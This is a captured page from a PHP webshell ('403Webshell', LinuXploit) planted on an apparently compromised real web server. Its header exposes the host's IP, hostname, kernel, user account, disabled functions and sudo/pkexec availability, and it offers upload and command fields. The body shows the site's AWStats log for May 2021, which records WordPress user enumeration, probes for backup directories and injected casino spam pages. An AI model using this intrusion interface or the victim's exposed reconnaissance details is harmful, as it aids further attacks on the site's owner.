403Webshell
Server IP : 213.255.246.8  /  Your IP : 216.73.217.0
Web Server : Apache
System : Linux dublin.stapolin.com 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
User : stapolin ( 1019)
PHP Version : 8.4.24
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stapolin/tmp/awstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/stapolin/tmp/awstats/awstats052021.pb.stapolin.com.txt
AWSTATS DATA FILE 7.7 (build 20180105)
# If you remove this file, all statistics for date 202105 will be lost/reset.
# Last config file used to build this data file was /home/stapolin/tmp/awstats/awstats.pb.stapolin.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2012                
POS_TIME 2686                
POS_VISITOR 8110                
POS_DAY 12669               
POS_DOMAIN 3314                
POS_LOGIN 3789                
POS_ROBOT 3944                
POS_WORMS 4112                
POS_EMAILSENDER 4243                
POS_EMAILRECEIVER 4386                
POS_SESSION 13380               
POS_SIDER 13571               
POS_FILETYPES 4521                
POS_DOWNLOADS 4685                
POS_OS 4733                
POS_BROWSER 4980                
POS_SCREENSIZE 5683                
POS_UNKNOWNREFERER 5757                
POS_UNKNOWNREFERERBROWSER 6326                
POS_ORIGIN 6805                
POS_SEREFERRALS 6943                
POS_PAGEREFS 7087                
POS_SEARCHWORDS 7235                
POS_KEYWORDS 7387                
POS_MISC 2350                
POS_ERRORS 7446                
POS_CLUSTER 3645                
POS_SIDER_404 7556                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20210601022741 3 495 15549386782446
FirstTime 20210501105535
LastTime 20210531214217
LastUpdate 20210601130948 3 0 2 0 0
TotalVisits 232                 
TotalUnique 118                 
MonthHostsKnown 0                   
MonthHostsUnknown 118                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
JavascriptDisabled 0 0 0
FlashSupport 0 0 0
PDFSupport 0 0 0
AddToFavourites 0 1 0
QuickTimeSupport 0 0 0
TotalMisc 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavaEnabled 0 0 0
RealPlayerSupport 0 0 0
DirectorSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 12 12 5278 3 3 60
1 10 10 5059 0 0 0
2 8 8 1309 2 2 16796
3 9 9 4452 5 5 2952
4 19 19 4210 0 0 0
5 10 10 5825 1 1 20
6 86 86 54756 4 4 8438
7 6 26 123754 0 1 20
8 13 13 2941 0 0 0
9 85 85 49614 2 2 8398
10 87 87 58118 2 2 8398
11 12 12 5865 2 2 8418
12 13 13 40702 1 2 37892
13 13 13 5502 0 0 0
14 93 93 68720 4 4 16796
15 11 11 2135 1 1 8398
16 0 0 0 0 0 0
17 13 13 2941 0 0 0
18 4 4 1229 0 0 0
19 10 10 2115 0 0 0
20 17 17 12775 2 2 8398
21 12 12 2921 1 1 8398
22 9 9 4452 3 3 60
23 4 4 846 0 0 0
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 21
fr 317 317 193642
gb 122 142 151028
ru 35 35 14105
us 35 35 85242
se 10 10 4030
nl 5 5 2015
ch 4 4 1612
in 4 4 1612
pl 3 3 1209
md 3 3 1209
de 3 3 1209
ua 2 2 806
hu 2 2 806
ro 2 2 806
zz 2 2 806
at 2 2 806
th 1 1 403
es 1 1 403
ca 1 1 403
cn 1 1 2964
dk 1 1 403
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 1
Googlebot/ 2 37892 20210518123534 1
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 6
xml 2 75562 0 0
png 1 4142 0 0
php 520 170090 0 0
css 15 49498 0 0
html 34 159560 0 0
js 4 6667 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 14
macosx12 14 14
win8.1 9 9
macosx8 1 1
linux 14 14
winxp 1 1
ios_ipad 1 1
macosx 34 34
Unknown 104 104
macosx9 1 1
macosx10 2 2
win10 376 356
win7 14 14
linuxubuntu 3 3
macosx11 2 2
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 33
firefox52.0 1 1
firefox61.0 13 13
Unknown 103 103
chrome41.0.2227.0 1 1
chrome80.0.3987.149 1 1
chrome67.0.3396.99 1 1
safari11.1.1 10 10
edge16 6 6
opera55.0.2994.44 5 5
safari11.0 1 1
safari12.0 3 3
safari7.0.3 1 1
safari11.1.2 1 1
chrome51.0.2704.106 1 1
chrome72.0.3626.119 1 1
firefox63.0 1 1
opera76.0.4017.107 27 7
chrome69.0.3497.92 1 1
chrome36.0.1985.67 1 1
chrome69.0.3497.100 12 12
chrome67.0.3396.103 2 2
firefox62.0 15 15
chrome78.0.3904.108 7 7
firefox60.0 7 7
chrome69.0.3497.81 3 3
chrome89.0.4389.114 308 308
chrome29.0.1547.62 1 1
chrome32.0.1664.3 1 1
edge15 5 5
mozilla 1 1
chrome68.0.3440.106 18 18
safari11.1 9 9
firefox56.0 8 8
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 4
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20210528102220
WordPress/5.6.4;_https://pb.stapolin.com 20210531214218
WordPress/5.6.3;_https://pb.stapolin.com 20210512172525
Mozilla/5.0_(compatible;_NetcraftSurveyAgent/1.0;__info@netcraft.com) 20210503203100
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 3
WordPress/5.6.3;_https://pb.stapolin.com 20210512172525
WordPress/5.6.4;_https://pb.stapolin.com 20210531214218
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20210528102220
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 451 451
From1 0 0
From2 0 0
From3 0 0
From4 105 125
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 0
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 3
301 13 140
404 12 95250
302 7 140
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 8
/wp-content/plugins/wp-complete-backup/storage/ 1 -
/ 5 -
/wp-content/backups/ 1 -
/wp-content/uploads/db-backup/ 1 -
/wp-content/uploads/backups/ 1 -
/wp-content/uploads/backup/ 1 -
/wp-content/uploads/backup-guard/ 1 -
/wp-content/backup/ 1 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 118
213.175.201.173 102 102 4984 20210531214218
62.210.123.29 77 77 47539 20210527102634
195.154.176.35 77 77 47539 20210530140946
195.154.200.5 77 77 47539 20210507060501
62.210.177.49 77 77 47539 20210529091824
193.37.33.28 7 7 19469 20210507141318
213.232.87.187 6 26 123754 20210514073926
195.154.56.235 3 3 1209 20210527140031
193.189.100.199 2 2 806 20210530012910
50.28.1.55 2 2 3163 20210509225934
107.174.244.102 2 2 806 20210517174824
35.221.181.187 2 2 3163 20210529031746
13.233.73.212 2 2 5928 20210522052114
89.234.157.254 2 2 806 20210509185316
185.142.239.49 2 2 806 20210531122039
185.56.80.65 2 2 806 20210531065242
207.180.213.38 2 2 3163 20210523002105
31.42.184.136 2 2 806 20210525042620
185.220.100.252 2 2 806 20210514001922
185.220.102.244 2 2 806 20210522130150
51.178.86.137 2 2 806 20210507203401
193.189.100.195 2 2 806 20210523200029
193.189.100.196 2 2 806 20210530042635
185.220.102.243 2 2 806 20210525105411
79.172.193.32 2 2 806 20210524175232
49.50.107.221 1 1 403 20210522173654
209.127.17.242 1 1 403 20210503082125
104.244.79.121 1 1 403 20210507045619
213.164.205.168 1 1 403 20210529132507
162.247.74.201 1 1 403 20210529113735
82.223.14.245 1 1 403 20210504155203
178.20.55.18 1 1 403 20210521211002
198.144.121.93 1 1 403 20210516224809
198.144.120.234 1 1 403 20210524005017
23.129.64.251 1 1 403 20210530201715
185.220.101.209 1 1 403 20210504112857
193.189.100.203 1 1 403 20210516122745
18.194.196.202 1 1 2964 20210525062122
91.149.225.120 1 1 403 20210502171243
199.249.230.113 1 1 403 20210525112348
34.241.77.13 1 1 2964 20210517060130
162.247.74.27 1 1 403 20210509025954
107.189.30.22 1 1 403 20210519095433
171.25.193.25 1 1 403 20210503233612
185.220.102.245 1 1 403 20210527034637
167.99.55.112 1 1 8625 20210503203100
104.244.77.95 1 1 403 20210510112454
34.86.35.10 1 1 8625 20210528102220
199.249.230.78 1 1 403 20210507045723
51.158.171.35 1 1 403 20210505064643
109.70.100.59 1 1 403 20210528210816
185.220.101.202 1 1 403 20210524181459
195.176.3.24 1 1 403 20210509054748
162.247.74.202 1 1 403 20210517015146
77.247.181.163 1 1 403 20210503082718
199.249.230.82 1 1 403 20210512172524
51.210.80.127 1 1 403 20210522011352
185.220.101.213 1 1 403 20210530155410
94.142.241.194 1 1 403 20210528093820
185.220.101.11 1 1 403 20210511084703
37.59.34.65 1 1 403 20210519214450
185.220.100.255 1 1 403 20210516103009
185.220.101.136 1 1 403 20210512013152
89.163.252.12 1 1 403 20210510153804
45.153.160.139 1 1 403 20210512084814
162.247.74.200 1 1 403 20210501105542
185.220.101.214 1 1 403 20210511041816
130.149.80.199 1 1 403 20210527095829
185.38.175.72 1 1 403 20210530203648
199.249.230.160 1 1 403 20210505200544
193.218.118.100 1 1 403 20210526211705
104.244.72.248 1 1 403 20210517173402
62.210.177.178 1 1 262 20210526104131
176.123.10.56 1 1 403 20210524013224
89.163.243.88 1 1 403 20210528053842
109.70.100.39 1 1 403 20210508112246
193.189.100.205 1 1 403 20210523093916
104.244.73.205 1 1 403 20210518040858
185.220.100.242 1 1 403 20210524115307
5.2.78.69 1 1 403 20210504143141
195.176.3.19 1 1 403 20210520154807
51.81.34.149 1 1 403 20210502171247
185.220.100.243 1 1 403 20210507055627
51.159.94.134 1 1 403 20210519140008
178.20.55.16 1 1 403 20210511205015
36.99.136.137 1 1 2964 20210521131820
185.220.101.3 1 1 403 20210525202407
45.141.159.63 1 1 403 20210520134731
185.100.87.41 1 1 403 20210517132103
142.44.156.133 1 1 403 20210513082752
199.249.230.155 1 1 403 20210518231602
185.220.102.248 1 1 403 20210507193023
185.220.101.13 1 1 403 20210527192525
185.220.101.205 1 1 403 20210511210830
185.220.100.244 1 1 403 20210528202801
178.17.170.23 1 1 403 20210507203301
45.151.167.11 1 1 403 20210511051345
185.220.102.8 1 1 403 20210530055822
185.220.101.146 1 1 403 20210520043755
185.220.102.254 1 1 403 20210531214217
203.159.80.73 1 1 403 20210523080558
193.169.145.194 1 1 403 20210505213939
185.12.45.115 1 1 403 20210526025104
46.232.249.138 1 1 403 20210505052418
159.48.55.118 1 1 37781 20210518123144
163.172.29.30 1 1 403 20210521095341
91.149.225.131 2 2 806 20210526183449
185.191.124.153 1 1 403 20210518191620
81.6.43.167 1 1 403 20210521062347
185.220.101.7 1 1 403 20210526041304
185.220.101.144 2 2 806 20210509040628
185.220.102.4 1 1 403 20210515192918
185.220.102.252 1 1 403 20210519053315
104.244.74.235 2 2 806 20210531115228
185.220.101.20 1 1 403 20210529154418
23.129.64.240 1 1 403 20210529004916
199.249.230.175 1 1 403 20210509220857
176.123.5.250 1 1 403 20210508132004
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 31
20210501 3 3 826 3
20210502 5 5 1249 5
20210503 7 7 9894 7
20210504 10 10 4676 9
20210505 11 11 2518 11
20210506 6 6 1269 5
20210507 95 95 69526 13
20210508 6 6 1269 5
20210509 15 15 5721 13
20210510 4 4 1229 4
20210511 8 8 2075 8
20210512 8 8 1692 8
20210513 2 2 423 2
20210514 8 28 124177 3
20210515 2 2 423 2
20210516 6 6 1269 6
20210517 12 12 5099 11
20210518 11 11 39513 11
20210519 7 7 1672 7
20210520 10 10 2115 10
20210521 9 9 4273 9
20210522 9 9 7217 8
20210523 9 9 4835 8
20210524 7 7 2055 7
20210525 9 9 4656 9
20210526 8 8 2317 8
20210527 84 84 49211 8
20210528 6 6 10257 6
20210529 88 88 52414 11
20210530 86 86 50017 10
20210531 5 5 1632 5
END_DAY

# Session range - Number of visits
BEGIN_SESSION 5
5mn-15mn 1
0s-30s 221
15mn-30mn 1
30mn-1h 4
30s-2mn 5
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 11
/xmlrpc.php 418 167854 118 123
/wp-cron.php 101 2020 95 95
/ 22 133076 13 11
/wp-json/wp/v2/users/ 5 2950 0 0
//wp-json/wp/v2/users/ 3 786 3 0
/casino-online/sitemap.xml 2 75562 1 1
/casino-online/roulette-system-graham.html 1 7499 0 0
/index.php/wp-json/wp/v2/users/ 1 262 1 1
/wp-content/uploads/2021/04/casino-online/roulette-system-graham.html 1 7499 0 0
/casino-online/10-euro-no-deposit-bonus-online-casino.html 1 7488 0 1
/wp-admin/ms-edit-cron.php 1 216 1 0
END_SIDER

Youez - 2016 - github.com/yon3zu
LinuXploit